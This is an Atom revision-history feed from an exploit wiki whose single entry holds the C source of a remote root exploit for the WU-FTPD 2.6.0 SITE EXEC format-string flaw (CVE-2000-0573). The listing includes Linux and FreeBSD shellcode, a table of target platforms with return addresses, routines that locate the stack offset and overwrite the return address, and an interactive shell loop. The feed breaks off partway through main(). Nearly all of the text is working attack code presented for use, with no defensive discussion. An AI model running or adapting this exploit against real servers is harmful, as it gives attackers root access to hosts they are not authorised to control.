<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2000-0573_WU-FTPD_2.6.0_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2000-0573 WU-FTPD 2.6.0 遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2000-0573_WU-FTPD_2.6.0_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2000-0573_WU-FTPD_2.6.0_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T02:48:26Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2000-0573_WU-FTPD_2.6.0_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2080&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; /*  * (c) 2000 venglin / b0f  * http://b0f.freebsd.lublin.pl  *  * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000)  *  * Idea and preliminary...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2000-0573_WU-FTPD_2.6.0_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2080&amp;oldid=prev"/>
		<updated>2021-05-03T13:20:22Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; /*  * (c) 2000 venglin / b0f  * http://b0f.freebsd.lublin.pl  *  * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000)  *  * Idea and preliminary...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
 * (c) 2000 venglin / b0f&lt;br /&gt;
 * http://b0f.freebsd.lublin.pl&lt;br /&gt;
 *&lt;br /&gt;
 * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000)&lt;br /&gt;
 *&lt;br /&gt;
 * Idea and preliminary version of exploit by tf8&lt;br /&gt;
 *&lt;br /&gt;
 * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.&lt;br /&gt;
 * Dedicated to ksm.&lt;br /&gt;
 *&lt;br /&gt;
 * **PRIVATE**DO*NOT*DISTRIBUTE**&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdarg.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netdb.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#define repln	if (getreply(0) &amp;lt; 0) return -1&lt;br /&gt;
#define replv	if (getreply(1) &amp;lt; 0) return -1&lt;br /&gt;
&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
#define repl replv&lt;br /&gt;
#else&lt;br /&gt;
#define repl repln&lt;br /&gt;
#endif&lt;br /&gt;
&lt;br /&gt;
char usage[] = &amp;quot;usage: bobek [-l login] [-o port] [-f retofs] [-s retlocofs]\n\t&amp;lt;-t type&amp;gt; &amp;lt;hostname&amp;gt;&amp;quot;;&lt;br /&gt;
char recvbuf[BUFSIZ], sendbuf[BUFSIZ];&lt;br /&gt;
FILE *cin, *cout;&lt;br /&gt;
&lt;br /&gt;
char linuxcode[]= /* Lam3rZ chroot() code */&lt;br /&gt;
	&amp;quot;\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb&amp;quot;&lt;br /&gt;
	&amp;quot;\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31&amp;quot;&lt;br /&gt;
	&amp;quot;\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd&amp;quot;&lt;br /&gt;
	&amp;quot;\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb&amp;quot;&lt;br /&gt;
	&amp;quot;\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e&amp;quot;&lt;br /&gt;
	&amp;quot;\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09&amp;quot;&lt;br /&gt;
	&amp;quot;\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88&amp;quot;&lt;br /&gt;
	&amp;quot;\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89&amp;quot;&lt;br /&gt;
	&amp;quot;\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31&amp;quot;&lt;br /&gt;
	&amp;quot;\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e&amp;quot;&lt;br /&gt;
	&amp;quot;\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69&amp;quot;&lt;br /&gt;
	&amp;quot;\x6e\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65&amp;quot;&lt;br /&gt;
	&amp;quot;\x2e\x63\x6f\x6d&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */&lt;br /&gt;
	&amp;quot;\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43&amp;quot;&lt;br /&gt;
	&amp;quot;\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0&amp;quot;&lt;br /&gt;
	&amp;quot;\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\x01\x53\x53\xb0\x88&amp;quot;&lt;br /&gt;
	&amp;quot;\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31&amp;quot;&lt;br /&gt;
	&amp;quot;\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31&amp;quot;&lt;br /&gt;
	&amp;quot;\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1&amp;quot;&lt;br /&gt;
	&amp;quot;\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80&amp;quot;&lt;br /&gt;
	&amp;quot;\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07&amp;quot;&lt;br /&gt;
	&amp;quot;\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c&amp;quot;&lt;br /&gt;
	&amp;quot;\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53&amp;quot;&lt;br /&gt;
	&amp;quot;\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\x30\x62\x69\x6e\x30&amp;quot;&lt;br /&gt;
	&amp;quot;\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e&amp;quot;&lt;br /&gt;
	&amp;quot;\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65\x2e&amp;quot;&lt;br /&gt;
	&amp;quot;\x63\x6f\x6d&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
struct platforms&lt;br /&gt;
{&lt;br /&gt;
	char *os;&lt;br /&gt;
	char *version;&lt;br /&gt;
	char *code;&lt;br /&gt;
	int align;&lt;br /&gt;
	int eipoff;&lt;br /&gt;
	long ret;&lt;br /&gt;
	long retloc;&lt;br /&gt;
	int sleep;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
struct platforms targ[] =&lt;br /&gt;
{&lt;br /&gt;
	{ &amp;quot;FreeBSD 3.4-STABLE&amp;quot;, &amp;quot;2.6.0-ports&amp;quot;, bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 },&lt;br /&gt;
	{ &amp;quot;FreeBSD 5.0-CURRENT&amp;quot;, &amp;quot;2.6.0-ports&amp;quot;, bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 },&lt;br /&gt;
	{ &amp;quot;FreeBSD 3.4-STABLE&amp;quot;, &amp;quot;2.6.0-packages&amp;quot;, bsdcode, 2, 1024, 0x80b1510, 0xbfbfe798, 0 },&lt;br /&gt;
	{ &amp;quot;FreeBSD 3.4-STABLE&amp;quot;, &amp;quot;2.6.0-venglin&amp;quot;, bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 },&lt;br /&gt;
	{ &amp;quot;RedHat Linux 6.2&amp;quot;, &amp;quot;2.6.0-RPM&amp;quot;, linuxcode, 2, 1024, 0x80759e0, 0xbfffcf74, 0 },&lt;br /&gt;
	{ &amp;quot;RedHat Linux 6.2&amp;quot;, &amp;quot;2.6.0-RPM&amp;quot;, linuxcode, 2, 1024, 0x80759e0, 0xbfffd074, 0 },&lt;br /&gt;
	{ &amp;quot;RedHat Linux 6.2&amp;quot;, &amp;quot;2.6.0-RPM&amp;quot;, linuxcode, 2, 1024, 0x80759e0, 0xbfffcf84, 0 },&lt;br /&gt;
	{ &amp;quot;RedHat Linux 6.2&amp;quot;, &amp;quot;2.6.0-RPM&amp;quot;, linuxcode, 2, 1024, 0x80759e0, 0xbfffd04c, 0 },&lt;br /&gt;
	{ &amp;quot;RedHat Linux 6.2-SMP&amp;quot;, &amp;quot;2.6.0-RPM&amp;quot;, linuxcode, 2, 1024, 0x80759e0, 0xbfffd0e4, 0 },&lt;br /&gt;
	{ NULL, NULL, NULL, 0, 0, 0, 0 }&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
long getip(name)&lt;br /&gt;
char *name;&lt;br /&gt;
{&lt;br /&gt;
	struct hostent *hp;&lt;br /&gt;
	long ip;&lt;br /&gt;
	extern int h_errno;&lt;br /&gt;
&lt;br /&gt;
	if ((ip = inet_addr(name)) &amp;lt; 0)&lt;br /&gt;
	{&lt;br /&gt;
		if (!(hp = gethostbyname(name)))&lt;br /&gt;
		{&lt;br /&gt;
			fprintf(stderr, &amp;quot;gethostbyname(): %s\n&amp;quot;,&lt;br /&gt;
				strerror(h_errno));&lt;br /&gt;
			exit(1);&lt;br /&gt;
		}&lt;br /&gt;
		memcpy(&amp;amp;ip, (hp-&amp;gt;h_addr), 4);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	return ip;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int connecttoftp(host, port)&lt;br /&gt;
char *host;&lt;br /&gt;
int port;&lt;br /&gt;
{&lt;br /&gt;
	int sockfd;&lt;br /&gt;
	struct sockaddr_in cli;&lt;br /&gt;
&lt;br /&gt;
	bzero(&amp;amp;cli, sizeof(cli));&lt;br /&gt;
	cli.sin_family = AF_INET;&lt;br /&gt;
	cli.sin_addr.s_addr=getip(host);&lt;br /&gt;
	cli.sin_port = htons(port);&lt;br /&gt;
&lt;br /&gt;
	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) &amp;lt; 0)&lt;br /&gt;
	{&lt;br /&gt;
		perror(&amp;quot;socket&amp;quot;);&lt;br /&gt;
		return -1;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	if(connect(sockfd, (struct sockaddr *)&amp;amp;cli, sizeof(cli)) &amp;lt; 0) &lt;br /&gt;
	{&lt;br /&gt;
                perror(&amp;quot;connect&amp;quot;);&lt;br /&gt;
		close(sockfd);&lt;br /&gt;
		return -1;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	cin = fdopen(sockfd, &amp;quot;r&amp;quot;);&lt;br /&gt;
	cout = fdopen(sockfd, &amp;quot;w&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	if (!cin || !cout)&lt;br /&gt;
	{&lt;br /&gt;
		close(sockfd);&lt;br /&gt;
		return -1;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	return sockfd;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int command(const char *fmt, ...)&lt;br /&gt;
{&lt;br /&gt;
	char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;&lt;br /&gt;
&lt;br /&gt;
	va_list args;&lt;br /&gt;
&lt;br /&gt;
	if (!cout)&lt;br /&gt;
		return -1;&lt;br /&gt;
&lt;br /&gt;
	bzero(buf1, BUFSIZ);&lt;br /&gt;
	bzero(buf2, BUFSIZ*2);&lt;br /&gt;
&lt;br /&gt;
	va_start(args, fmt);&lt;br /&gt;
	vsnprintf(buf1, BUFSIZ, fmt, args);&lt;br /&gt;
	va_end(args);&lt;br /&gt;
&lt;br /&gt;
	for (p=buf1,q=buf2;*p;p++,q++)&lt;br /&gt;
	{&lt;br /&gt;
		if (*p == '\xff')&lt;br /&gt;
		{&lt;br /&gt;
			*q++ = '\xff';&lt;br /&gt;
			*q = '\xff';&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
			*q = *p;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	fprintf(cout, &amp;quot;%s&amp;quot;, buf2);&lt;br /&gt;
&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
	fprintf(stderr, &amp;quot;--&amp;gt; &amp;quot;);&lt;br /&gt;
	fprintf(stderr, &amp;quot;%s&amp;quot;, buf2);&lt;br /&gt;
	fputc('\n', stderr);&lt;br /&gt;
#endif&lt;br /&gt;
&lt;br /&gt;
	fputs(&amp;quot;\r\n&amp;quot;, cout);&lt;br /&gt;
	(void)fflush(cout);&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int getreply(v)&lt;br /&gt;
int v;&lt;br /&gt;
{&lt;br /&gt;
	if (!(fgets(recvbuf, BUFSIZ, cin)))&lt;br /&gt;
		return -1;&lt;br /&gt;
&lt;br /&gt;
	if (v)&lt;br /&gt;
		fprintf(stderr, &amp;quot;&amp;lt;-- %s&amp;quot;, recvbuf);&lt;br /&gt;
&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int logintoftp(login, passwd)&lt;br /&gt;
char *login, *passwd;&lt;br /&gt;
{&lt;br /&gt;
	do&lt;br /&gt;
		repl;&lt;br /&gt;
	while (strncmp(recvbuf, &amp;quot;220 &amp;quot;, 4));&lt;br /&gt;
&lt;br /&gt;
	if ((command(&amp;quot;USER %s&amp;quot;, login)) &amp;lt; 0)&lt;br /&gt;
		return -1;&lt;br /&gt;
&lt;br /&gt;
	repl;&lt;br /&gt;
&lt;br /&gt;
	if (strncmp(recvbuf, &amp;quot;331&amp;quot;, 3))&lt;br /&gt;
	{&lt;br /&gt;
		puts(recvbuf);&lt;br /&gt;
		return -1;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	if ((command(&amp;quot;PASS %s&amp;quot;, passwd) &amp;lt; 0))&lt;br /&gt;
		return -1;&lt;br /&gt;
&lt;br /&gt;
	do&lt;br /&gt;
		repl;&lt;br /&gt;
	while (strncmp(recvbuf, &amp;quot;230 &amp;quot;, 4));&lt;br /&gt;
&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int checkvuln(void)&lt;br /&gt;
{&lt;br /&gt;
	command(&amp;quot;SITE EXEC %%p&amp;quot;);&lt;br /&gt;
	repl;&lt;br /&gt;
&lt;br /&gt;
	if(strncmp(recvbuf, &amp;quot;200-&amp;quot;, 4))&lt;br /&gt;
		return -1;&lt;br /&gt;
&lt;br /&gt;
	if(strncmp(recvbuf+4, &amp;quot;0x&amp;quot;, 2))&lt;br /&gt;
		return -1;&lt;br /&gt;
&lt;br /&gt;
	repl;&lt;br /&gt;
&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int findeip(eipoff, align)&lt;br /&gt;
int eipoff, align;&lt;br /&gt;
{&lt;br /&gt;
	int i, j, off;&lt;br /&gt;
	char *p1;&lt;br /&gt;
	char eip1[10], eip2[10];&lt;br /&gt;
&lt;br /&gt;
	for (i=eipoff;;i+=8)&lt;br /&gt;
	{&lt;br /&gt;
		fprintf(stderr, &amp;quot;at offset %d\n&amp;quot;, i);&lt;br /&gt;
		strcpy(sendbuf, &amp;quot;SITE EXEC &amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
		for (j=0;j&amp;lt;align;j++) strcat(sendbuf, &amp;quot;a&amp;quot;);&lt;br /&gt;
		strcat(sendbuf, &amp;quot;abcd&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		for (j=0;j&amp;lt;eipoff/8;j++) strcat(sendbuf, &amp;quot;%%.f&amp;quot;);&lt;br /&gt;
		for (j=0;j&amp;lt;(i-eipoff)/8;j++) strcat(sendbuf, &amp;quot;%%d%%d&amp;quot;);&lt;br /&gt;
		strcat(sendbuf, &amp;quot;|%%.8x|%%.8x&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		if (command(sendbuf) &amp;lt; 0)&lt;br /&gt;
			return -1;&lt;br /&gt;
&lt;br /&gt;
		repl;&lt;br /&gt;
&lt;br /&gt;
		if (!(p1 = strchr(recvbuf, '|')))&lt;br /&gt;
			return -1;&lt;br /&gt;
&lt;br /&gt;
		strncpy(eip1, p1+1, 8);&lt;br /&gt;
		strncpy(eip2, p1+10, 8);&lt;br /&gt;
&lt;br /&gt;
		eip1[8] = eip2[8] = '\0';&lt;br /&gt;
&lt;br /&gt;
		if (!(strcmp(eip1, &amp;quot;64636261&amp;quot;)))&lt;br /&gt;
		{&lt;br /&gt;
			off = i;&lt;br /&gt;
			break;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (!(strcmp(eip2, &amp;quot;64636261&amp;quot;)))&lt;br /&gt;
		{&lt;br /&gt;
			off = i + 4;&lt;br /&gt;
			break;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		repl;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	repl;&lt;br /&gt;
&lt;br /&gt;
	return off;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
char *putshell(type)&lt;br /&gt;
int type;&lt;br /&gt;
{&lt;br /&gt;
	static char buf[400];&lt;br /&gt;
	int noplen;&lt;br /&gt;
&lt;br /&gt;
	char *code = targ[type].code;&lt;br /&gt;
&lt;br /&gt;
	noplen = sizeof(buf) - strlen(code) - 2;&lt;br /&gt;
&lt;br /&gt;
	memset(buf, 0x90, noplen);&lt;br /&gt;
	buf[noplen+1] = '\0';&lt;br /&gt;
	strcat(buf, code);&lt;br /&gt;
&lt;br /&gt;
	return buf;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int overwrite(ptr, off, align, retloc, eipoff)&lt;br /&gt;
long ptr, retloc;&lt;br /&gt;
int off, align, eipoff;&lt;br /&gt;
{&lt;br /&gt;
	int i, size = 0;&lt;br /&gt;
	char buf[100];&lt;br /&gt;
&lt;br /&gt;
	fprintf(stderr, &amp;quot;RET: %p, RET location: %p,&amp;quot;&lt;br /&gt;
		&amp;quot; RET location offset on stack: %d\n&amp;quot;,&lt;br /&gt;
		(void *)ptr, (void *)retloc, off);&lt;br /&gt;
&lt;br /&gt;
	if (off &amp;gt;= 12)&lt;br /&gt;
	{&lt;br /&gt;
&lt;br /&gt;
		strcpy(sendbuf, &amp;quot;SITE EXEC &amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		for (i=0;i&amp;lt;eipoff/8;i++) strcat(sendbuf, &amp;quot;%%.f&amp;quot;);&lt;br /&gt;
		for (i=0;i&amp;lt;(off-eipoff-8)/8;i++) strcat(sendbuf, &amp;quot;%%d%%d&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, &amp;quot;%%d%%d&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		if (command(sendbuf) &amp;lt; 0)&lt;br /&gt;
			return -1;	&lt;br /&gt;
&lt;br /&gt;
		repl;&lt;br /&gt;
&lt;br /&gt;
		size = strlen(recvbuf+4) - 2;&lt;br /&gt;
&lt;br /&gt;
		repl;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	fprintf(stderr, &amp;quot;Reply size: %d, New RET: %p\n&amp;quot;, size,&lt;br /&gt;
		(void *)(ptr-size));&lt;br /&gt;
&lt;br /&gt;
	strcpy(sendbuf, &amp;quot;SITE EXEC &amp;quot;);&lt;br /&gt;
	for (i=0;i&amp;lt;align;i++) strcat(sendbuf, &amp;quot;a&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	sprintf(buf, &amp;quot;%c%c%c%c&amp;quot;, ((int)retloc &amp;amp; 0xff),&lt;br /&gt;
		(((int)retloc &amp;amp; 0xff00) &amp;gt;&amp;gt; 8),&lt;br /&gt;
		(((int)retloc &amp;amp; 0xff0000) &amp;gt;&amp;gt; 16),&lt;br /&gt;
		(((int)retloc &amp;amp; 0xff000000) &amp;gt;&amp;gt; 24));&lt;br /&gt;
&lt;br /&gt;
	strcat(sendbuf, buf);&lt;br /&gt;
&lt;br /&gt;
	for (i=0;i&amp;lt;eipoff/8;i++) strcat(sendbuf, &amp;quot;%%.f&amp;quot;);&lt;br /&gt;
	for (i=0;i&amp;lt;(off-eipoff-8)/8;i++) strcat(sendbuf, &amp;quot;%%d%%d&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, &amp;quot;%%d%%d&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	strcat(sendbuf, &amp;quot;%%.&amp;quot;);&lt;br /&gt;
	sprintf(buf, &amp;quot;%d&amp;quot;, (int)ptr-size);&lt;br /&gt;
	strcat(sendbuf, buf);&lt;br /&gt;
	strcat(sendbuf, &amp;quot;d%%n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	if (command(sendbuf) &amp;lt; 0)&lt;br /&gt;
		return -1;&lt;br /&gt;
&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int sh(sockfd)&lt;br /&gt;
int sockfd;&lt;br /&gt;
{&lt;br /&gt;
	char buf[BUFSIZ];&lt;br /&gt;
	int c;&lt;br /&gt;
	fd_set rf, drugi;&lt;br /&gt;
	char cmd[] = &amp;quot;uname -a ; pwd ; id\n&amp;quot;;&lt;br /&gt;
        &lt;br /&gt;
	FD_ZERO(&amp;amp;rf);&lt;br /&gt;
	FD_SET(0, &amp;amp;rf);&lt;br /&gt;
	FD_SET(sockfd, &amp;amp;rf);&lt;br /&gt;
	write(sockfd, cmd, strlen(cmd));&lt;br /&gt;
&lt;br /&gt;
	while (1)&lt;br /&gt;
	{&lt;br /&gt;
		bzero(buf, BUFSIZ);&lt;br /&gt;
		memcpy (&amp;amp;drugi, &amp;amp;rf, sizeof(rf));&lt;br /&gt;
		select(sockfd+1, &amp;amp;drugi, NULL, NULL, NULL);&lt;br /&gt;
		if (FD_ISSET(0, &amp;amp;drugi))&lt;br /&gt;
		{&lt;br /&gt;
			c = read(0, buf, BUFSIZ);&lt;br /&gt;
			send(sockfd, buf, c, 0x4);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (FD_ISSET(sockfd, &amp;amp;drugi))&lt;br /&gt;
		{&lt;br /&gt;
			c = read(sockfd, buf, BUFSIZ);&lt;br /&gt;
			if (c&amp;lt;0) return 0;&lt;br /&gt;
			write(1,buf,c);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(argc, argv)&lt;br /&gt;
int argc;&lt;br /&gt;
char **argv;&lt;br /&gt;
{&lt;br /&gt;
	extern int optind, opterr;&lt;br /&gt;
	extern char *optarg;&lt;br /&gt;
	int ch, type, port, eipoff, fd, retofs, retlocofs, align, i, retoff;&lt;br /&gt;
	long ret, retloc;&lt;br /&gt;
	char login[BUFSIZ], password[BUFSIZ];&lt;br /&gt;
&lt;br /&gt;
	opterr = retofs = retlocofs = 0;&lt;br /&gt;
	strcpy(login, &amp;quot;ftp&amp;quot;);&lt;br /&gt;
	type = -1;&lt;br /&gt;
	port = 21;&lt;br /&gt;
&lt;br /&gt;
	while ((ch = getopt(argc, argv, &amp;quot;l:f:s:t:o&amp;quot;)) != -1)&lt;br /&gt;
		switch((char)ch)	&lt;br /&gt;
		{&lt;br /&gt;
			case 'l':&lt;br /&gt;
				strcpy(login, optarg);&lt;br /&gt;
				break;&lt;br /&gt;
&lt;br /&gt;
			case 't':&lt;br /&gt;
				type = atoi(optarg);&lt;br /&gt;
				break;&lt;br /&gt;
&lt;br /&gt;
			case 'o':&lt;br /&gt;
				port = atoi(optarg);&lt;br /&gt;
				break;&lt;br /&gt;
&lt;br /&gt;
			case 'f':&lt;br /&gt;
				retofs = atoi(optarg);&lt;br /&gt;
				break;&lt;br /&gt;
&lt;br /&gt;
			case 's':&lt;br /&gt;
				retlocofs = atoi(optarg);&lt;br /&gt;
				break;&lt;br /&gt;
&lt;br /&gt;
			case '?':&lt;br /&gt;
			default:&lt;br /&gt;
				puts(usage);&lt;br /&gt;
				exit(0);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
	argc -= optind;&lt;br /&gt;
	argv += optind;&lt;br /&gt;
&lt;br /&gt;
	fprintf(stderr, &amp;quot;PanBobek v1.1 by venglin@freebsd.lublin.pl\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	if (type &amp;lt; 0)&lt;br /&gt;
	{&lt;br /&gt;
		fprintf(stderr, &amp;quot;Please select platform:\n&amp;quot;);&lt;br /&gt;
		for (i=0;targ[i].os;i++)&lt;br /&gt;
		{&lt;br /&gt;
			fprintf(stderr, &amp;quot;\t-t %d : %s %s (%p / %p)\n&amp;quot;, i,&lt;br /&gt;
				targ[i].os, targ[i].version,&lt;br /&gt;
				(void *)targ[i].ret,&lt;br /&gt;
				(void *)targ[i].retloc);&lt;br /&gt;
		}&lt;br /&gt;
		exit(0);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	fprintf(stderr, &amp;quot;Selected platform: %s with WUFTPD %s\n\n&amp;quot;,&lt;br /&gt;
		targ[type].os, targ[type].version);&lt;br /&gt;
&lt;br /&gt;
	eipoff = targ[type].eipoff;&lt;br /&gt;
	align = targ[type].align;&lt;br /&gt;
	ret = targ[type].ret;&lt;br /&gt;
	retloc = targ[type].retloc;&lt;br /&gt;
	retloc += retlocofs;&lt;br /&gt;
	ret += retofs;&lt;br /&gt;
&lt;br /&gt;
	if (argc != 1)&lt;br /&gt;
	{&lt;br /&gt;
		puts(usage);&lt;br /&gt;
		exit(0);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	strcpy(password, putshell(type));&lt;br /&gt;
&lt;br /&gt;
	if ((fd = connecttoftp(*argv, port)) &amp;lt; 0)&lt;br /&gt;
	{    &lt;br /&gt;
		(void)fprintf(stderr, &amp;quot;Connection to %s failed.\n&amp;quot;, *argv);&lt;br /&gt;
		exit(1);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	(void)fprintf(stderr, &amp;quot;Connected to %s. Trying to log in.\n&amp;quot;, *argv);&lt;br /&gt;
&lt;br /&gt;
	if (logintoftp(login, password) &amp;lt; 0)&lt;br /&gt;
	{&lt;br /&gt;
		(void)fprintf(stderr, &amp;quot;Logging in to %s (%s) failed.\n&amp;quot;,&lt;br /&gt;
			*argv, login);&lt;br /&gt;
		exit(1);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
	(void)fprintf(stderr, &amp;quot;Logged in as %s. Checking vulnerability.\n&amp;quot;,&lt;br /&gt;
		login);&lt;br /&gt;
&lt;br /&gt;
	sleep(targ[type].sleep);&lt;br /&gt;
&lt;br /&gt;
	if (checkvuln() &amp;lt; 0)&lt;br /&gt;
	{&lt;br /&gt;
		(void)fprintf(stderr, &amp;quot;Sorry, this version isn't&amp;quot;&lt;br /&gt;
			&amp;quot; vulnerable or uses internal vsnprintf().\n&amp;quot;);&lt;br /&gt;
		exit(1);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	(void)fprintf(stderr, &amp;quot;Ok, trying to find offset (initial: %d)\n&amp;quot;,&lt;br /&gt;
